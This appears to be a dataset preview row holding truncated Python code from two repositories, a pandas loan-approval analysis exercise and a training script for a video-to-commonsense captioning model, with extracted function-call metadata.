lakshit-sharma/greyatom-python-for-data-science | -Loan-Approval-Analysis/code.py | 55a6e5a4c54a4f7135cc09fb287d2f2fa1d36413 | # --------------
# Importing header files
import numpy as np
import pandas as pd
from scipy.stats import mode
# code starts here
bank = pd.read_csv(path)
categorical_var = bank.select_dtypes(include = 'object')
print(categorical_var)
numerical_var = bank.select_dtypes(include = 'number')
print(numeric... | [((150, 167), 'pandas.read_csv', 'pd.read_csv', (['path'], {}), '(path)\n', (161, 167), True, 'import pandas as pd\n'), ((489, 598), 'pandas.pivot_table', 'pd.pivot_table', (['banks'], {'index': "['Gender', 'Married', 'Self_Employed']", 'values': '"""LoanAmount"""', 'aggfunc': '"""mean"""'}), "(banks, index=['Gender', ... |
jacobswan1/Video2Commonsense | others/train_RNN.py | 4dcef76360a29702fd90b7030a39a123da6db19e | ''' Training Scropt for V2C captioning task. '''
__author__ = 'Jacob Zhiyuan Fang'
import os
import numpy as np
from opts import *
from utils.utils import *
import torch.optim as optim
from model.Model import Model
from torch.utils.data import DataLoader
from utils.dataloader import VideoDataset
from model.transforme... | [((4761, 4787), 'utils.dataloader.VideoDataset', 'VideoDataset', (['opt', '"""train"""'], {}), "(opt, 'train')\n", (4773, 4787), False, 'from utils.dataloader import VideoDataset\n'), ((4805, 4868), 'torch.utils.data.DataLoader', 'DataLoader', (['dataset'], {'batch_size': "opt['batch_size']", 'shuffle': '(True)'}), "(d... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.